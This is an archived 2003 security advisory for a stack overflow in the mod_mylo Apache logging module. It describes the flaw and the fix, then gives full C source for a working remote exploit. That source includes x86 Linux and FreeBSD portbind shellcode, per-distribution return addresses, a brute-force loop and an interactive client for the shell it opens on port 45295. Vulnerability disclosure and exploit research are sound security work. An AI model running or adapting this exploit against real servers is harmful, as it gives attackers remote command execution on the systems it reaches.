home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / apache1320mylo.txt < prev    next >
Text File  |  2005-02-12  |  15KB  |  424 lines

  1. ________________________________________________________________________
  2.  
  3.                 Security Vulnerability Advisory
  4. ________________________________________________________________________
  5.  
  6. Product:                mod_mylo (Apache 1.3.x module)
  7. Versions:               <= 0.2.1
  8. Author:            ╪yvind Gr°nnesby
  9. Homepage:        http://www.pvv.ntnu.no/~oyving/code/mod_mylo/
  10. Platforms:              Linux/BSD
  11. Impact:                 Remote code execution
  12. Advisory:               CLIVITT-2003-5
  13. Author:                    Carl Livitt (carllivitt at hush dot com)
  14. Date:                   July 28, 2003
  15.  
  16. ________________________________________________________________________
  17.  
  18. Problem Description:
  19.  
  20.  Mod_mylo is an Apache module designed to log HTTP requests to a MySQL
  21.  database.
  22.  
  23.  Insufficient bounds checking on a buffer in the logging section of the
  24.  code could allow a remote attacker to overwrite saved data on the stack
  25.  and execute commands under the privileges of the Apache daemon user,
  26.  typically 'www'.
  27.  
  28.  This software is so unpopular it probably only affects a handful of
  29.  users. The main category of people affected will probably be those that
  30.  have FreeBSD and mod_mylo installed from the ports collection.
  31.  
  32. ________________________________________________________________________
  33.  
  34. Problem Details:
  35.  
  36.  In the main logging function, mylo_log(), there is a buffer on the
  37.  stack called reqstr:
  38.  
  39.    char query[MYLO_MAXQLEN], reqstr[MYLO_MAXQLEN];
  40.  
  41.  This is poulated by a call to mysql_real_escape_string():
  42.  
  43.    mysql_real_escape_string(connection, reqstr, r->the_request,
  44.                                  strlen(r->the_request));
  45.  
  46.  The upper length of data to be placed into reqstr[] is determined by
  47.  the length of the HTTP request, not the length of the reqstr[] buffer.
  48.  Thus, it is possible to construct a large HTTP request containing some
  49.  shellcode and a malicious RET address, overwrite the saved EIP and
  50.  execute arbitrary machine code in the context of the Apache user.
  51.  
  52.  A exploit string would generally be sent to port 80 of the target box
  53.  and would look like this:
  54.  
  55.    GET AAAAAAA(4104 A's[linux] / 4096 A's[freeBSD])RRRRPPPP
  56.  
  57.  Where RRRR is a malicious EIP and PPPP is the address of a pointer
  58.  to an Apache request_rec structure that _must_ be valid in order for
  59.  the exploit to succeed. The pointer needs to be reconstructed because
  60.  overwriting EIP sets the least significat 8-bits of the pointer to
  61.  NULL. The address of this pointer can be brute-forced without much
  62.  trouble.
  63.  
  64. _______________________________________________________________________
  65.  
  66. Vendor notification timeline:
  67.  
  68.  17 July 2003: Notified author
  69.  19 July 2003: Author responded to say fix will be out in 1 week
  70.  28 July 2003: New package tested and available.
  71.  
  72. _______________________________________________________________________
  73.  
  74. Updated Packages:
  75.  
  76.  Fixed, non-vulnerable version of the module is available from:
  77.  
  78.      http://www.pvv.ntnu.no/~oyving/code/mod_mylo/
  79.  
  80.  Versions >= 0.2.2 are not vulnerable, all others are exploitable.
  81.  
  82. ________________________________________________________________________
  83.  
  84. Advisory Author Details:
  85.  
  86.  Email: carllivitt at hush dot com
  87.  
  88. _______________________________________________________________________
  89.  
  90. Exploit Sourcecode:
  91.  
  92. /*
  93.   Apache + mod_mylo remote exploit
  94.   By Carl Livitt / July 2003
  95.   carllivitt at hush dot com
  96.  
  97.   Public release - Linux and FreeBSD targets.
  98. */
  99. #include <sys/types.h>
  100. #include <sys/stat.h>
  101. #include <sys/socket.h>
  102. #include <net/if.h>
  103. #include <netinet/in.h>
  104. #include <netinet/tcp.h>
  105. #include <arpa/inet.h>
  106. #include <stdio.h>
  107. #include <string.h>
  108. #include <unistd.h>
  109. #include <signal.h>
  110. #include <netdb.h>
  111. #include <time.h>
  112. #include <stdarg.h>
  113.  
  114. #define SIZ 8096
  115. #define HTTP_PORT 80
  116. #define SHELL_PORT 45295
  117. #define SOCKET_ERR -2
  118. #define CONNECT_ERR -3
  119. #define HOST_NOT_RESOLVED -4
  120. #define BRUTE_FORCE_EXHAUSTED -5
  121. #define SHELL_NOT_FOUND -7
  122. #define SUCCESS 1
  123. #define FAILED 0
  124.  
  125. // The following shellcode had 0x3f (?) chars in it which
  126. // cause termination of our HTTP GET before the whole
  127. // shellcode is written to the stack. The 0x3f's are
  128. // needed because they are the dup2() syscall numbers. So,
  129. // I've changed them to 0x3e's and INC'd them before doing
  130. // an INT 0x80. Other than that, this shellcode is eSDee's.
  131. // --------
  132. // linux x86 shellcode by eSDee of Netric (www.netric.org)
  133. // 200 byte - forking portbind shellcode - port=0xb0ef(45295)
  134. char linux_shellcode[]=
  135.         "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
  136.         "\x06\x51\xb1\x01\x51\xb1\x02\x51"
  137.         "\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
  138.         "\x89\xc1\x31\xc0\x31\xdb\x50\x50"
  139.         "\x50\x66\x68\xb0\xef\xb3\x02\x66"
  140.         "\x53\x89\xe2\xb3\x10\x53\xb3\x02"
  141.         "\x52\x51\x89\xca\x89\xe1\xb0\x66"
  142.         "\xcd\x80\x31\xdb\x39\xc3\x74\x05"
  143.         "\x31\xc0\x40\xcd\x80\x31\xc0\x50"
  144.         "\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
  145.         "\x80\x89\xd7\x31\xc0\x31\xdb\x31"
  146.         "\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
  147.         "\x80\x31\xc0\x31\xdb\x50\x50\x57"
  148.         "\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
  149.         "\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
  150.         "\xcd\x80\x39\xc3\x75\x40\x31\xc0"
  151.         "\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
  152.         "\x31\xc9\x89\xf3\xb0\x3e\xfe\xc0\xcd\x80"
  153.         "\x31\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31"
  154.         "\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31\xc0"
  155.         "\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  156.         "\x62\x69\x6e\x89\xe3\x8b\x54\x24"
  157.         "\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
  158.         "\x80\x31\xc0\x40\xcd\x80\x31\xc0"
  159.         "\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
  160.  
  161. // This shellcode is unchanged (why reinvent the wheel ?):
  162. // --------
  163. /* BSD x86 shellcode by eSDee of Netric (www.netric.org)
  164.  * 194 byte - forking portbind shellcode - port=0xb0ef(45295)
  165.  */
  166. char freebsd_shellcode[]=
  167.         "\x31\xc0\x31\xdb\x53\xb3\x06\x53"
  168.         "\xb3\x01\x53\xb3\x02\x53\x54\xb0"
  169.         "\x61\xcd\x80\x89\xc7\x31\xc0\x50"
  170.         "\x50\x50\x66\x68\xb0\xef\xb7\x02"
  171.         "\x66\x53\x89\xe1\x31\xdb\xb3\x10"
  172.         "\x53\x51\x57\x50\xb0\x68\xcd\x80"
  173.         "\x31\xdb\x39\xc3\x74\x06\x31\xc0"
  174.         "\xb0\x01\xcd\x80\x31\xc0\x50\x57"
  175.         "\x50\xb0\x6a\xcd\x80\x31\xc0\x31"
  176.         "\xdb\x50\x89\xe1\xb3\x01\x53\x89"
  177.         "\xe2\x50\x51\x52\xb3\x14\x53\x50"
  178.         "\xb0\x2e\xcd\x80\x31\xc0\x50\x50"
  179.         "\x57\x50\xb0\x1e\xcd\x80\x89\xc6"
  180.         "\x31\xc0\x31\xdb\xb0\x02\xcd\x80"
  181.         "\x39\xc3\x75\x44\x31\xc0\x57\x50"
  182.         "\xb0\x06\xcd\x80\x31\xc0\x50\x56"
  183.         "\x50\xb0\x5a\xcd\x80\x31\xc0\x31"
  184.         "\xdb\x43\x53\x56\x50\xb0\x5a\xcd"
  185.         "\x80\x31\xc0\x43\x53\x56\x50\xb0"
  186.         "\x5a\xcd\x80\x31\xc0\x50\x68\x2f"
  187.         "\x2f\x73\x68\x68\x2f\x62\x69\x6e"
  188.         "\x89\xe3\x50\x54\x53\x50\xb0\x3b"
  189.         "\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
  190.         "\x31\xc0\x56\x50\xb0\x06\xcd\x80"
  191.         "\xeb\x9a";
  192.  
  193. struct {
  194.         char *platform;
  195.         unsigned long bruteStart, bruteEnd;
  196.         unsigned long retAddr;
  197.         int offset, len;
  198.         char *shellcodePtr;
  199. } targets[]= {
  200.         { "SuSE 8.1, Apache 1.3.27 (installed from source) (default)", 0x08117c04, 0x08117dff, 0xbfffe9f0, 500, 4104, linux_shellcode },
  201.         { "RedHat 7.2, Apache 1.3.20 (installed from RPM)", 0x08105104, 0x081051ff, 0xbfffe0b0, 1000, 4104, linux_shellcode },
  202.         { "RedHat 7.3, Apache 1.3.23 (installed from RPM)", 0x080ef304, 0x080ef3ff, 0xbfffe190, 750, 4104, linux_shellcode },
  203.         { "FreeBSD 4.8, Apache 1.3.27 (from Ports)", 0x080bf004, 0x080bf0ff, 0xbfbfea50 ,3500, 4096, freebsd_shellcode },
  204.         NULL
  205. };
  206.  
  207. char usage[]=
  208. "Apache + mod_mylo remote exploit\n"
  209. "By Carl Livitt (carllivitt at hush dot com)\n\n"
  210. "Arguments: \n"
  211. "  -t target       Attack 'target' host\n"
  212. "  -T platform     Use parameters for target 'platform'\n"
  213. "  -h              This help.\n";
  214.  
  215. void my_send(int, char *, ...);
  216. void my_recv(int);
  217. void make_exploitbuf(char *);
  218. int connect_to_host(int);
  219. int attempt_exploit(void);
  220. void my_sleep(int n);
  221.  
  222. unsigned long retAddr=0,magic_r=0,MAGIC_R_START,MAGIC_R_END, exactPointerAddy=0;
  223. char buf[SIZ], host[SIZ]="";
  224. int useTarget=0;
  225. struct hostent *hostStruct;
  226.  
  227. main(int argc, char **argv) {
  228.         int ch, i;
  229.  
  230.         while((ch=getopt(argc, argv, "t:T:e:hr:"))!=-1) {
  231.                 switch(ch) {
  232.                         case 't':
  233.                                 strncpy(host, optarg, SIZ-1);
  234.                                 break;
  235.                         case 'T':
  236.                                 useTarget=atoi(optarg);
  237.                                 break;
  238.                         case 'e':
  239.                                 exactPointerAddy=strtoul(optarg,NULL,16);
  240.                                 break;
  241.                         case 'r':
  242.                                 retAddr=strtoul(optarg,NULL,16);
  243.                                 break;
  244.                         case 'h':
  245.                         default:
  246.                                 printf("%s\n",usage);
  247.                                 printf("Available platforms:\n");
  248.                                 for(i=0;targets[i].platform;i++)
  249.                                         printf("%2d. %s\n", i, targets[i].platform);
  250.                                 printf("\n");
  251.                                 exit(0);
  252.                                 break; // it's good practice :)
  253.                 }
  254.         }
  255.  
  256.         // Sanity check
  257.         if(!retAddr && exactPointerAddy) {
  258.                 printf("[*] You must give RET address when specifying a pointer address\n");
  259.                 printf("    A good place to start is 0xbfffe0b0(linux) or 0xbfbfe0b0(freeBSD)\n");
  260.         printf("    Also remember to pass a -T x flag... things will be unpredictable\n");
  261.         printf("    if you don't!\n");
  262.                 exit(0);
  263.         }
  264.  
  265.         if((hostStruct=gethostbyname(host))==NULL) {
  266.                printf("[*] Couldn't resolve host %s\nUse '%s -h' for help\n", host,argv[0]);
  267.                 exit(0);
  268.         }
  269.  
  270.         switch(attempt_exploit()) {
  271.                 case HOST_NOT_RESOLVED:
  272.                         printf("[*] Couldn't connect to host: %s not found.\n", host);
  273.                         break;
  274.                 case SOCKET_ERR:
  275.                         printf("[*] Couldn't grab a socket!\n");
  276.                         break;
  277.                 case CONNECT_ERR:
  278.                         printf("[*] Connection to %s was rejected\n",host);
  279.                         break;
  280.                 case SHELL_NOT_FOUND:
  281.                         printf("[*] This attempt failed ...\n");
  282.                         break;
  283.                 case BRUTE_FORCE_EXHAUSTED:
  284.                         printf("[*] Bruteforce failed.\n");
  285.                         break;
  286.                 case SUCCESS:
  287.                         break;
  288.                 default:
  289.                         printf("[*] ERROR: There was no error!\n");
  290.                         break;
  291.         }
  292.  
  293.         printf("\nHave a nice day!\n");
  294.         exit(0);
  295. }
  296.  
  297. int attempt_exploit(void) {
  298.     fd_set rfds;
  299.     int sock,retVal,r;
  300.  
  301.     if(exactPointerAddy) {
  302.         printf("[-] Using 0x%08x for pointer addy\n", exactPointerAddy);
  303.         if((sock=connect_to_host(HTTP_PORT))<=0)
  304.             return sock;
  305.         magic_r=exactPointerAddy;
  306.         make_exploitbuf(buf);
  307.         my_send(sock, buf);
  308.         my_recv(sock);
  309.         close(sock);
  310.         my_sleep(100000);
  311.                 if((sock=connect_to_host(SHELL_PORT))<=0) {
  312.             return sock;
  313.         }
  314.     } else { // Do crappy bruteforce loop
  315.         printf("[-] Attempting attack [ %s ] ...\n", targets[useTarget].platform);
  316.         MAGIC_R_START=targets[useTarget].bruteStart;
  317.         MAGIC_R_END=targets[useTarget].bruteEnd;
  318.         retAddr=targets[useTarget].retAddr;
  319.         for(magic_r=MAGIC_R_START; magic_r<=MAGIC_R_END; magic_r++) {
  320.             printf("[-] Trying 0x%08x ... \r", magic_r);fflush(stdout);
  321.             if((sock=connect_to_host(HTTP_PORT))<=0)
  322.                 return sock;
  323.             make_exploitbuf(buf);
  324.             my_send(sock, buf);
  325.             my_recv(sock);
  326.             close(sock);
  327.             my_sleep(50000);
  328.             if((sock=connect_to_host(SHELL_PORT))>=SUCCESS) {
  329.                 printf("\n[-] Found request_rec address @ 0x%08x\n", magic_r);
  330.                 break;
  331.             }
  332.         }
  333.         if(magic_r>MAGIC_R_END)
  334.             return BRUTE_FORCE_EXHAUSTED;
  335.     }
  336.  
  337.         printf("[-] Connected to %s! You can type commands now:\n", host);
  338.  
  339.         // Now let the attacker issue commands to the remote
  340.         // shell, just as if (s)he had launched 'nc host 45295'.
  341.         do {
  342.                 FD_ZERO(&rfds);
  343.                 FD_SET(0, &rfds);
  344.                 FD_SET(sock, &rfds);
  345.                 retVal=select(sock+1, &rfds, NULL, NULL, NULL);
  346.                 if(retVal) {
  347.                         if(FD_ISSET(sock, &rfds)) {
  348.                                 buf[(r=recv(sock, buf, SIZ-1,0))]='\0'; // bad!
  349.                                 printf("%s", buf);
  350.                         }
  351.                         if(FD_ISSET(0, &rfds)) {
  352.                                 buf[(r=read(0, buf, SIZ-1))]='\0'; // bad!
  353.                                 send(sock, buf, strlen(buf), 0);
  354.                         }
  355.  
  356.                 }
  357.         } while(retVal && r); // loop until connection terminates
  358.  
  359.         close(sock);
  360.         return SUCCESS;
  361. }
  362.  
  363. // Given a port number, connects to an already resolved hostname...
  364. // connects a TCP stream and returns a socket number (or returns error)
  365. int connect_to_host(int p) {
  366.         int sock;
  367.         struct sockaddr_in saddr;
  368.  
  369.         if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  370.                 return SOCKET_ERR;
  371.         memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
  372.         saddr.sin_family=AF_INET;
  373.         saddr.sin_addr.s_addr=*((unsigned long *)hostStruct->h_addr_list[0]);
  374.         saddr.sin_port=htons(p);
  375.         if(connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
  376.                 close(sock);
  377.                 return CONNECT_ERR;
  378.         } else
  379.                 return sock;
  380. }
  381.  
  382. void make_exploitbuf(char *b) {
  383.         unsigned long *ptr;
  384.         char *sc=(char *)&targets[useTarget].shellcodePtr[0];
  385.  
  386.         memset(b,0x00,SIZ-1);
  387.         strcat(b,"GET ");
  388.         memset(b+4,0x90,targets[useTarget].len);
  389.         memcpy((b+targets[useTarget].len)-(strlen(sc)+targets[useTarget].offset)-9,sc,strlen(sc));
  390.         ptr=(unsigned long *)&b[strlen(b)];
  391.         *(ptr++)=retAddr;
  392.         *ptr=magic_r;
  393.         strcat(b, "\n\n");
  394. }
  395.  
  396. // Handy little function to send formattable data down a socket.
  397. void my_send(int s, char *b, ...) {
  398.         va_list ap;
  399.         char *buf;
  400.  
  401.         va_start(ap,b);
  402.         vasprintf(&buf,b,ap);
  403.         send(s,buf,strlen(buf),0);
  404.         va_end(ap);
  405.         free(buf);
  406. }
  407.  
  408. // Another handy function to read data from a socket.
  409. void my_recv(int s) {
  410.         int len;
  411.         char buf[SIZ];
  412.  
  413.         len=recv(s, buf, SIZ-1, 0);
  414.         buf[len]=0;
  415. }
  416.  
  417. // Wrapper for nanosleep()... just pass 'n' nanoseconds to it.
  418. void my_sleep(int n) {
  419.         struct timespec t;
  420.         t.tv_sec=0;
  421.         t.tv_nsec=n;
  422.         nanosleep(&t,&t);
  423. }
  424.